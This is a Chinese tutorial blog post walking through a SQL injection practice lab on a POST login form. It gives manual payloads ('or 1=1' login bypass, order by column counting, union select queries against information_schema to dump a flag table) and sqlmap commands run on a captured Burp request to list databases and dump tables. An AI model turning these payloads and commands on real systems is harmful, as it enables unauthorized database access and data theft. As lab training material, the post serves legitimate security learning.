Java教程

POST注入靶场练习

本文主要是介绍POST注入靶场练习,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

题目1

使用手工注入

1、判断是否存在SQL注入

(1)admin'后直接使用-- qwe注释

(2)使用万能密码

admin     ' or 1=1 -- qwe

SQL注入成功

2、判断字段数

输入admin' order by 3 -- qwe和admin' order by 4 -- qwe,只有order by 3的时候可以输出,则字段数是3

3、查找回显点

admiiin' union select 1,2,3 -- qwe

ps:由于网站输出会输出数据库最上面一行数据,与union select 后的数据和admin原本数据冲突,所以代码最头上的需要输出一个不存在的值

4、利用系统自带库查找数据表和字段

admin' union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 1,1-- qwe

查找到flag数据表

查找到flag字段

admin' union select 1,column_name,3 from information_schema.columns where table_name='flag' and table_schema=database() limit 1,1-- qwe

5、查找数据

admin' union select 1,flag,3 from flag limit 1,1-- qwe,得到flag

 

题目二——使用sqlmap+burp

一、设置chorme插件SwitchySharp

http代理设置为本地127.0.0.1,端口自行设计

二、Burp中查看Proxy Listener

回显是127.0.0.1

三、开启抓包

在登录框随意输入内容,点击登录,Burp中抓取到数据包

 

四、使用sqlmap

(1)把Burp抓包的内容复制到sqlmap文件夹下的一个文本文档1.txt

ps:把需要知道的字段前添加*

(2)输入py -2 sqlmap.py -r 1.txt --level 3 --risk 2,确定查询信息

(3)查找数据库名

py -2 sqlmap.py -r 1.txt --dbs --level 3 --risk 2

(3)进入数据库,查看数据表

py -2 sqlmap.py -r 1.txt --D error --tables --level 3 --risk 2

(4)查看数据库内信息

py -2 sqlmap.py -r 1.txt --D error -T error_flag --dump --level 3 --risk 2

由于查询的error数据库中的flag都不是真的flag,我又去找了post_error库中的flag,方法同上,找到了flag

 

题目二——使用sqlmap的--form

(1)查看sql注入信息

py -2 sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-06/index.php --form --level 3 --risk 2

(2)查找数据库

py -2 sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-06/index.php --form --risk 2 --level 3 --dbs

剩下步骤和sqlmap+Burp方法一样

 

 

 

这篇关于POST注入靶场练习的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!